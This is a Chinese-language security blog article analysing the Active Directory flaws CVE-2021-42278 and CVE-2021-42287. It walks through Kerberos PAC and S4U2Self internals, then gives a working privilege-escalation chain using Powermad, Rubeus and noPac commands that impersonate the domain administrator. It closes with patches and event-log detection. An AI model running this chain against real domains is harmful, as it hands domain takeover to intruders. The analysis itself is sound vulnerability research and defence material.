Name impersonation and KDC bamboozling漏洞分析 | xxxName impersonation and KDC bamboozling漏洞分析 – xxx
菜单

Name impersonation and KDC bamboozling漏洞分析

十二月 29, 2021 - 安全客

Name impersonation and KDC bamboozling漏洞分析

 

作者:lzz

0x00 漏洞背景

今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287两个关于AD域漏洞相关信息,该漏洞影响巨大,在默认情况下只需一个域用户即可拿到域内最高权限。

 

0x01 披露时间线

11月10日Cliff Fisher在推特发布了相关的漏洞信息。

12月10日Charlie Clark在博客发布漏洞原理及利用手段。

12月11日cube0x0在github发布了noPac,实现了真正的武器化。

 

0x02 漏洞概述

漏洞的产生本质是windows机器账户和kerbeors之间协调沟通所产生的逻辑问题。

CVE-2021-42278KB5008102

允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。

加入域的机器账户默认由$结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$照样可以以机器用户身份申请TGT票据。

什么是sAMAccountName

sAMAccountName 属性是一个登录名,用于支持以前版本的 Windows 中的客户端和服务器,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。 登录名必须少于 20 个字符,在域中的所有安全主体对象中必须唯一,并且不能包含以下任何字符:

userPrincipalName是基于Internet标准RFC 822的用户样式登录名,UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定,用户格式为:username@domain.name

域名:redteam.lab    SamAccountName:marry    NetBIOS登录名:reedteammarry    UserPrincipalName:marry@redteam.lab  

Name impersonation and KDC bamboozling漏洞分析

在 Active Directory中,存储帐户登录名或用户对象实际上是命名符号“DomainLogonName ”中使用NetBIOS名称组合,该属性是域用户对象的必需属性;而SAMAccountName应始终与UPN主体名称保持一致,即SAMAccountName必须等于属性“UserPrincipalName” 的前缀部分。

更改sAMAccountName

漏洞凭借修改计算机帐户sAMAccountName字段来模拟域控申请票据,但直接将域内机器Evilsystem的sAMAccountName改为与域控相同(不加$),结果显示异常。

Name impersonation and KDC bamboozling漏洞分析

原因如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说:

修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。

添加机器帐户默认会创建4个SPN,包括以下内容:

1. HOST/MachineAccountName    2. HOST/MachineAccountName.domain.name    3. RestrictedKrbHost/MachineAccountName    4. RestrictedKrbhost/MachineAccountName.domain.name  

意味着Evilsystem 将要改成与域控相同的SPN,但是SPN是网络控制器服务实例的唯一标识符,Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,这时会产生冲突;但servicePrincipalName在设置以上属性之前已被删除,那么SPN列表将不会更新,除非再次给该字段赋值。所以在修改samAccountName前删除其SPN属性。

sAMAccountType属性

sAMAccountType表示在Active Directory 中安全主体对象的帐户类型。在LDAP查询中,常常用其筛选域机器和域用户等其他对象。

sAMAccountType=268435456(安全组)  sAMAccountType=268435457(非安全组)  sAMAccountType=536870912(别名对象)  sAMAccountType=536870913(非安全别名对象)  sAMAccountType=805306369(机器对象)  

sAMAccountType属性可能存在的值:

NameValue
SAM_DOMAIN_OBJECT0x0
SAM_GROUP_OBJECT0x10000000
SAM_NON_SECURITY_GROUP_OBJECT0x10000001
SAM_ALIAS_OBJECT0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT0x20000001
SAM_USER_OBJECT0x30000000
SAM_MACHINE_ACCOUNT0x30000001
SAM_TRUST_ACCOUNT0x30000002
SAM_APP_BASIC_GROUP0x40000000
SAM_APP_QUERY_GROUP0x40000001
SAM_ACCOUNT_TYPE_MAX0x7ffffff
 cn: SAM-Account-Type   ldapDisplayName: sAMAccountType   attributeId: 1.2.840.113556.1.4.302   attributeSyntax: 2.5.5.9   omSyntax: 2   isSingleValued: TRUE   schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9   systemOnly: FALSE   searchFlags: fATTINDEX   attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf   isMemberOfPartialAttributeSet: TRUE   systemFlags: FLAG_SCHEMA_BASE_OBJECT |     FLAG_ATTR_REQ_PARTIAL_SET_MEMBER    schemaFlagsEx: FLAG_ATTR_IS_CRITICAL  

UserAccountControl

UserAccountControl包含一系列标志,这些标志定义了用户对象的一些重要基本属性,可以通过分配给该属性的值通知 Windows 每个主体启用了哪些选项。

该属性标志是累积性的,比如要禁用用户的帐户,UserAccountControl 属性被设置为 514 (2 + 512)。

LEX官网对这个属性进行了整理,以下为常见类型:

UF_NORMAL_ACCOUNT ( 512 )这是一个普通域用户。
UF_WORKSTATION_TRUST_ACCOUNT ( 4096 )这是一个普通域机器。
UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 )这是一个代表与外部域的信任连接的帐户。通常,帐户名称是域的 NetBIOS 名称,末尾带有“$”。
UF_SERVER_TRUST_ACCOUNT ( 8192 )这是一个域控帐户。
UF_DONT_EXPIRE_PASSWD (65536)这个用户不受有关域内密码策略相关的影响,且密码永不过期。
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128)代表可逆加密存储用户密码 ,如果用户更改密码就能解密获得其明文密码。
UF_ACCOUNT_DISABLE ( 2 )代表帐户被禁用,并且无法再向域进行身份验证。

https://blog.csdn.net/xjzdr/article/details/3553246也对UserAccountControl进行了详细解释。


UserAccountControl定义了用户对象的重要基本属性,微软以sAMAccountName的值是否以$结尾来区别windows域内的普通域用户和机器账户。但UserAccountControl并没有规定计算机帐户的sAMAccountName必须以$结尾,域机器sAMAccountName去掉最后的$照样可以以机器账户的身份申请TGT票据,为后面的CVE-2021-42287触发提供了先行条件。

CVE-2021-42287 KB5008380

影响 Kerberos 特权属性证书 (PAC) 并允许攻击者通过S4U2Self冒充域控申请ST的安全绕过漏洞。

微软依照是否以$结尾来区别windows域内的普通域用户和机器账户,所以按照惯例默认给机器账户加$,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。

在有PAC 的情况下请求 TGT,并且为与DC具有相同的sAMAccountName(不带$)的机器帐户请求 S4U2self 票据,当初始帐户不存在时自动进行重试认证fallback,KDC没有验证请求TGT的帐户是否与服务票证中引用的帐户相同,结果在ST中使用DC的密钥进行加密。

在默认设置的 Active Directory 环境中可以通过一个域用户凭证拿到域内最高权限。

 

0x03 漏洞原理

微软以是否以$结尾来区别windows域内的普通域用户和机器账户,而kerberos认证时并不会区别对待;为了兼容这种情况,如果kerberos认证票据时没有找到对应的域用户,会采用在用户名称后添加$进行重试认证的fallback。

kerberos认证的CName String/SName String从sAMAccountName提取,如果域控是DC2$,一台域机器的sAMAccountName被改为DC2。那么当域用户申请TGT后将sAMAccountName更改为其他值,进而在申请ST票据时,kerberos找不到DC2这个机器用户,于是会触发fallback变为DC2$。在S4U阶段生成了新的用于访问自身的高权限PAC,KDC没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,于是在ST中使用域控的密钥进行加密,这样就拿到了域控的ST票据,从而模拟域控上任意服务的任意用户进行访问登陆。

XP源码分析

https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA这篇文章写的很清楚,有兴趣可以看看。

KdcGetTicketInfo

首先判断是否是krbtgt账户,如果是则直接调用GetKrbtgt函数获取TicketInfo

判断是否是本域的用户,并进行三次查找:

这就是第一个漏洞产生的原因,sAMAccountName没有$的机器账号如果没有找到会加$进行callback重试。

KdcInsertAuthorizationData

KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:

1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC)。

说明了S4U的重要性,如果没有S4U2self,将会沿用最初的PAC;最初的PAC在AS-REP阶段凭请求用户身份生成,没有权限访问域控相关服务。

2.如果是S4U请求,首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo,再调用kdcGetPacAuthData函数来构造PAC data。

kdcGetPacAuthData:若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC。

KdcGetS4UTicketInfo函数的处理逻辑中又调用了KdcGetTicketInfo,也就是通过这把前后两个漏洞组合在了一起。

Name impersonation and KDC bamboozling漏洞分析

因此得到和上面一样的结论:

S4U2self拓展用于TGS-REQ将票证检索到自身来模仿任意用户访问,而KDC在S4U2Self阶段会将SFU填充的字段从TGT中的PAC复制到新创建的PAC中。在进行自动添加$进行callback时,KDC并没有识别高权限ST作用于哪个机器账户、PAC也没有原始请求者的信息,出现鉴权问题从而产生漏洞。

通过公开EXP截取数据分析

wireshark中提供直接将keytab 导入Kerberos,能将PAC等加密字段进行解密。

kerberos认证

Name impersonation and KDC bamboozling漏洞分析

整体流程

1.AS_REQ:client用client_hash(一般使用RC4加密)、时间戳向KDC进行预身份验证。
2.AS_REP:KDC检查client_hash与时间戳,如果正确则返回client由krbtgt哈希加密的TGT票据和PAC等相关信息。
3.TGS_REQ:client向KDC请求TGS票据,出示其TGT票据和请求的SPN。
4.TGS_REP:KDC如果识别出SPN,则将该服务账户的NTLM哈希加密生成的ST票据返回给client。
5.AP_REQ:client使用ST请求对应服务,将PAC传递给服务进行检查。服务通过PAC查看用户的SID和用户组等并与自身的ACL进行对比,如果不满足则作为适当的RPC状态代码返回。
6.AP_REP:服务器验证AP-REQ,如果验证成功则发送AP-REP,客户端和服务端通过中途生成的Session key等信息通过加解密转换验证对方身份。

Name impersonation and KDC bamboozling漏洞分析

AS-REQ:

域控为DC2$,这里申请sAMAccountName为DC2(不带$)的TGT票据

1.请求的用户端信息
2.加密类型
3.Authenticator(用户Hash加密时间戳)

Name impersonation and KDC bamboozling漏洞分析

AS-REP:

1.通过活动目录查询用户得到用户的Hash,用Hash解密Authenticator,如果解密成功并且时间戳在规定时间内(一般为五分钟),则预认证成功。
2.生成由krbtgt用户Hash加密的TGT认购权证,用于确保客户端和DC进行安全通信的用户Hash加密后的Login Session Key(作为下一阶段的认证秘钥)。
3.返回TGT(TGT中包含PAC,PAC包含Client的sid,Client所在的组)、Login Session Key、和时间戳。

Name impersonation and KDC bamboozling漏洞分析


PAC

PAC由KDC在AS-REP中生成,其中包含用户sid和组等信息,当client在AD域内进行身份认证的时候,KDC会把这些信息添加到TGT票据加密返回;KDC主要通过PAC中的GroupIds和Userid与要访问服务的ACL进行比较,判断client是否有权限对其进行访问。

Name impersonation and KDC bamboozling漏洞分析

KDC在AP-REQ访问服务时检查PAC。同时 TGS 解密验证签名是否正确,然后再重新构造新的 PAC 放在 ST 里返回给client,client将 ST 发送给服务端进行验证,Server再将此信息与用户所索取的资源的ACL进行比较,以此判断用户是否有权限对其进行访问。

PAC里面包含了用户SID、组等信息。在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM两个数字签名 ,这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密,并且PAC对于用户和服务全程都不可见,只有KDC能制作和查看PAC。

PAC结构是一个AuthorizationData

AuthorizationData       ::= SEQUENCE OF SEQUENCE {      ad-type         [0] Int32,      ad-data         [1] OCTET STRING  }  

结构如下:

Name impersonation and KDC bamboozling漏洞分析

可以看到ad-type为AD-IF-RELEVANT。

ad-data也是一个AuthorizationData,ad-type为AD-WIN2K-PAC,ad-data为一个PACTYPE的结构体和几个PAC_INFO_BUFFER 结构数组;PACTYPE结构是PAC的最顶层结构,指定PAC_INFO_BUFFER数组中的元素数。PACTYPE结构用作完整PAC数据的标头。

每个 PAC_INFO_BUFFER 定义了 PAC 缓冲区的类型和字节偏移量,用作指向遵循此标头的PAC内容的指针。PAC_INFO_BUFFER 数组没有定义的顺序,因此PAC_INFO_BUFFER 缓冲区的顺序没有意义。但是,一旦生成了 KDC 和服务器签名,缓冲区的顺序不得更改,否则 PAC 内容的签名验证将失败。

PACTYPE结构如下:

Name impersonation and KDC bamboozling漏洞分析

PAC_INFO_BUFFER结构如下:

Name impersonation and KDC bamboozling漏洞分析

其中ulType描述在Offset处包含的缓冲区中存在的数据类型。

ValueMeaning
0x00000001登录信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录信息缓冲区。
0x00000002凭证信息。PAC结构不应包含多个此类缓冲区。第二个或后续凭证信息缓冲区在收到时必须忽略。
0x00000006服务器校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他登录服务器校验和缓冲区。
0x00000007KDC校验和。PAC结构必须包含一个此类型的缓冲区。必须忽略其他KDC校验和缓冲区。
0x0000000A客户名称和票据信息。PAC结构必须包含一个此类型的缓冲区。必须忽略其他客户端和票证信息缓冲区。
0x0000000B受约束的委派信息。PAC结构必须包含一个此类型的缓冲区,以便为S4U2proxy请求提供服务,否则不包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。
0x0000000C用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个此类型的缓冲区。第二个或后续UPN和DNS信息缓冲区在收到时必须忽略。
0x0000000D客户索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他客户端索赔信息缓冲区。
0x0000000E设备信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备信息缓冲区。
0x0000000F设备索赔信息。PAC结构不应包含多个此类型的缓冲区。必须忽略其他设备声明信息缓冲区。
0x00000010票证校验和PAC结构不应包含多个此类型的缓冲区。必须忽略其他票证校验和缓冲区。

0x00000006 对应的是Server检验和,0x00000007 对应的是KDC校验和。前面说过PAC包含server和KDC签名,就是为了防止PAC内容被篡改。

KERB_VALIDATION_INFO

KERB_VALIDATION_INFO结构定义了DC提供的用户登录和授权信息,并由RPC编组。结构定义如下:

typedef struct _KERB_VALIDATION_INFO {  FILETIME LogonTime;  FILETIME LogoffTime;  FILETIME KickOffTime;  FILETIME PasswordLastSet;   FILETIME PasswordCanChange;   FILETIME PasswordMustChange;   RPC_UNICODE_STRING EffectiveName;   RPC_UNICODE_STRING FullName;   RPC_UNICODE_STRING LogonScript;   RPC_UNICODE_STRING ProfilePath;   RPC_UNICODE_STRING HomeDirectory;  RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;  USHORT BadPasswordCount;  ULONG UserId;  ULONG PrimaryGroupId;  ULONG GroupCount;  [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;  USER_SESSION_KEY UserSessionKey;  RPC_UNICODE_STRING LogonServer;  RPC_UNICODE_STRING LogonDomainName;  PISID LogonDomainId;  ULONG Reserved1[2];  ULONG UserAccountControl;  ULONG SubAuthStatus;  FILETIME LastSuccessfulILogon;  FILETIME LastFailedILogon;  ULONG FailedILogonCount;  ULONG Reserved3;  ULONG SidCount;  [size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;  PISID ResourceGroupDomainSid;  ULONG ResourceGroupCount;  [size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;  } KERB_VALIDATION_INFO;  

主要看UserId、GroupCount和GroupId字段:

Userid:域SID+用户RID(用户SID)

GroupCount:包含帐户所属帐户域内的组数。

GroupID:指向GROUP_MEMBERSHIP GroupIds结构列表的指针,其中包含帐户域中帐户所属的组。此列表中的组数必须等于GroupCount。其中513为域用户,512、520、518、519 是域管组。

MS14068就是将高权限的GroupId插入到伪造的PAC中从而提升权限达到接管域的目的。

TGT包含PAC,定位到ticket→enc-part→PAC_LOGON_INFO

Name impersonation and KDC bamboozling漏洞分析

Domain Computers的Group RID都为515,现在的PAC代表申请的是机器账户身份。

Name impersonation and KDC bamboozling漏洞分析

TGS-REQ:

将sAMAccountName为DC2的机器账户改为其他任意值,申请其ST

1.客户端信息
2.Authenticator(Login Session Key加密时间戳)
3.TGT认购权限
4.访问的服务名

TGSREQ携带ap-req,利用as-rep获取到的TGT票据并用上S4U2Self拓展,以administrator的身份请求DC2 cifs服务的ST票据。

Name impersonation and KDC bamboozling漏洞分析

上图中的ticket和as-rep返回的ticket都是TGT票据,client用此进行TGS相关后续认证。


S4U2Self

S4U包括和S4U2self和S4U2proxy。S4U2proxy允许服务代表用户获得不同服务的服务票证的扩展,通常用于服务进行委派,这里不再叙述,有兴趣可以看关于委派相关的章节。

这个漏洞出在S4U2Self上,先来了解一下认证流程。

服务可以使用S4U2self将票证检索到自身,允许服务代表用户向自身获取Kerberos服务票据,包含用户的组,因此可用来授权,且S4U2self扩展可用于获取PAC,以确定用户是否对服务具有访问权限。

下图描述了从服务处理TGS的S4U2self TGS-REQ消息。

Name impersonation and KDC bamboozling漏洞分析

1.服务使用S4U2self扩展来代表用户向自身检索服务票证。该服务填写PA-FOR-USER数据结构,并向TGS发送TGS-REQ。

2.如果TGS支持PA-FOR-USER扩展,TGS在TGS-REP中返回用户的ST票据。ST返回的PAC包含授权数据。

PA-FOR-USER结构:

PA-FOR-USER ::= SEQUENCE {         -- PA TYPE 129         userName              [0] PrincipalName,         userRealm              [1] Realm,                     cksum                 [2] Checksum,                      auth-package          [3] KerberosString      }  

PA-FOR-USER由四个字段组成:userName、userRealm、cksum和auth-package。

userName为用户的名称,默认名称类型为NT-UNKNOWN。    userRealm是用户帐户的当前域。    auth-package字段必须设置为字符串“Kerberos”,并且不区分大小写。    cksum为前三者的校验和。使用KERB_CHECKSUM_HMAC_MD5函数计算。  

Name impersonation and KDC bamboozling漏洞分析

在微软官方文档中提到:

Name impersonation and KDC bamboozling漏洞分析

如果KDC支持PAC,KDC必须将S4U填充的字段从TGT中的PAC复制到新创建的PAC,并在处理其支持的所有字段后, KDC必须生成新的服务器签名和KDC签名,以替换PAC中的现有签名字段。

即在S4U阶段创建了新的PAC,而新生成的PAC为后面的漏洞利用提供了充分条件。

TGS-REP:

1.检查自身是否存在服务,如果存在,通过krbtgt解密TGT并通过Login Session Key解密Authenticator(Login Session Key加密时间戳),就验证了对方身份。然后验证时间戳是否在范围内,并且验证TGT中的时间戳是否过期,原始地址是否和TGT保存的地址相同等。
2.生成用AS-REP得到的Login Session Key加密后的用于确保安全传输的Server Session Key
3.完成认证后,TGS生成ST票据,其中包括:客户端信息和原始的Server Session Key,整个ST票据由该服务的NTLM Hash加密。
4.将ST和Server Session Key发送给客户端。

Name impersonation and KDC bamboozling漏洞分析

结果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高权限PAC用于访问申请的服务。

Name impersonation and KDC bamboozling漏洞分析

在申请ST票据时,kerberos找不到DC2这个用户,由于是机器账户会触发fallback自动添加$变为DC2$。 结果在 ST 中使用域控的密钥进行加密,进而可以模拟域控上任意服务的任意用户进行访问登陆。

由此可见S4U2Self阶段是漏洞触发的关键点,如果没有S4U2Self就不会生成新的高权限PAC,流程没有任何问题,只是在这之后没有做好鉴权:PAC没有原始请求者的信息、KDC没有识别高权限ST作用于哪个机器账户,从而产生了漏洞。

 

0x04 漏洞利用

整体流程

假设域内DC机器名为DC1$

1.利用域用户创建域机器Evil。

2.清除Evil的SPN属性。

3.将域机器Evil的sAMAccountName属性更改为DC1(不带$)。

4.为Evil请求TGT,随后将其sAMAccountName更改为其他名字(除DC1均可)。

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型);KDC找不到DC1这个机器账号,在DC1后面自动添加$匹配为DC1$(域控),从而返回域控机器账户代替DC1 的ST票证。

利用步骤

1.利用域用户创建域机器Evilsystem

域内任意域用户默认可以添加10台域机器,这是用于加域的正常功能,在LDAP中呈现的字段为ms-DS-MachineAccountQuota的值。

Name impersonation and KDC bamboozling漏洞分析

(1)powermad:

默认自动为其创建机器注册SPN

以任意普通域用户创建一个名为Evilsystem,密码为1qaz@WSX的域机器

New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)

Name impersonation and KDC bamboozling漏洞分析

Name impersonation and KDC bamboozling漏洞分析

(2)addcomputer.py

默认不会自动为其创建机器注册SPN

Name impersonation and KDC bamboozling漏洞分析

Name impersonation and KDC bamboozling漏洞分析

2.清除Evilsystem的servicePrincipalName属性(addcomputer.py添加机器用户省略这一步骤)

Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose

Name impersonation and KDC bamboozling漏洞分析

Name impersonation and KDC bamboozling漏洞分析

3.将域机器Evilsystem的sAMAccountName属性更改为DC1(不带$)

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose

Name impersonation and KDC bamboozling漏洞分析

Name impersonation and KDC bamboozling漏洞分析

4.为Evilsystem请求TGT,随后将sAMAccountName更改为其他名字(除DC1均可)

Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap

Name impersonation and KDC bamboozling漏洞分析

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose

Name impersonation and KDC bamboozling漏洞分析

5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)

在这里模拟了administrator用户访问DC1上cifs服务的ST票据,这可以是域中任何系统上任何服务上的任何用户

(也可以申请host服务票据直接添加用户,或者直接申请ldap的票据进行dcsync。)

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..

Name impersonation and KDC bamboozling漏洞分析

验证结果

Name impersonation and KDC bamboozling漏洞分析

公开EXP利用:

https://github.com/cube0x0/noPac

noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt

Name impersonation and KDC bamboozling漏洞分析

其他利用场景

漏洞利用的最终条件就是在域控没打补丁的情况下,能够修改任意域机器的SPN和sAMAccountName属性进行滥用。

1.林信任利用

Charlie Clark在后面的文章中展示了林信任的利用方式

A域和B域互相信任,如果有A域a用户的权限,可以利用信任关系在B域创建计算机账户达到漏洞利用。

2.MAQ=0利用

前面的利用基于MAQ(MachineAccountQuota)创建域机器来实现,如果限制MAQ,有以下思路:

(1).CreatorSID

按照微软的ACL规定,创建者即为所有者,所有者必定拥有完全控制权限,当然包括更改名称等一系列属性。

利用MAQ创建域机器利用的方式其实就是利用了CreatorSID属性,在一些域内有专门拉机器账户进域的用户,比如carn1用户将demo123机器拉入域内,则demo123的CreatorSID指向carn1。

Name impersonation and KDC bamboozling漏洞分析

通过SID查询Creator

AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn

Name impersonation and KDC bamboozling漏洞分析

查询carn1对demo123的ACL权限

AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute

Name impersonation and KDC bamboozling漏洞分析

在拿到一个域用户权限后,可以遍历LDAP查找具有CreatorSID属性的域机器和对应的域用户,如果我们已经有了对应的域用户权限,就可以利用这个用户修改对应域机器的属性来进行漏洞利用。

查找每个域机器的加域账号<br />AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID

通过用户的sid查看哪些域机器是通过自己加入到域内的:
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory

(2).ACL权限

域内拿到A用户权限后,遍历ACL发现其对域机器B有 GenericAll / GenericWrite等权限,可以通过A直接修改B的属性利用。遍历ACL分析通常用在穷途末路的时候,更适合做一个后门使用,具体使用依情况而定。

 

0x05 漏洞修复

1.打KB5008102KB5008380补丁。

2.MAQ(MachineAccountQuota)属性值设为0。

3.遍历域内并清除相关可能被利用的ACL。

4.创建名为PacRequestorEnforcementtypeREG_DWORD的注册表HKEY_LOCAL_MACHINESystemCurrentControlSetServicesKdc,并为其值设为2,这样的话旧的TGT就不再起作用,让入侵者以前生成的凭据无效。

 

0x06 日志分析

1.创建机器账号产生4741事件

Name impersonation and KDC bamboozling漏洞分析

2.删除SPN产生4742事件

Name impersonation and KDC bamboozling漏洞分析

3.将sAMAccountName改为DC1产生4781事件

Name impersonation and KDC bamboozling漏洞分析

4.申请TGT并改名产生4768、4781事件

Name impersonation and KDC bamboozling漏洞分析

Name impersonation and KDC bamboozling漏洞分析

5.通过S4U获取ST产生4769事件

Name impersonation and KDC bamboozling漏洞分析

在上述日志中,TGT和ST的申请在域内太过频繁、如果是通过impacket中的addcomputer.py添加的机器账号默认不会包含SPN、所以可随时监控4741(创建机器账号产生)、4781(更改sAMAccountName名称)来确保域内没有被滥用此漏洞,当然最重要的还是对漏洞进行修复。

 

0x07 参考

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing

https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51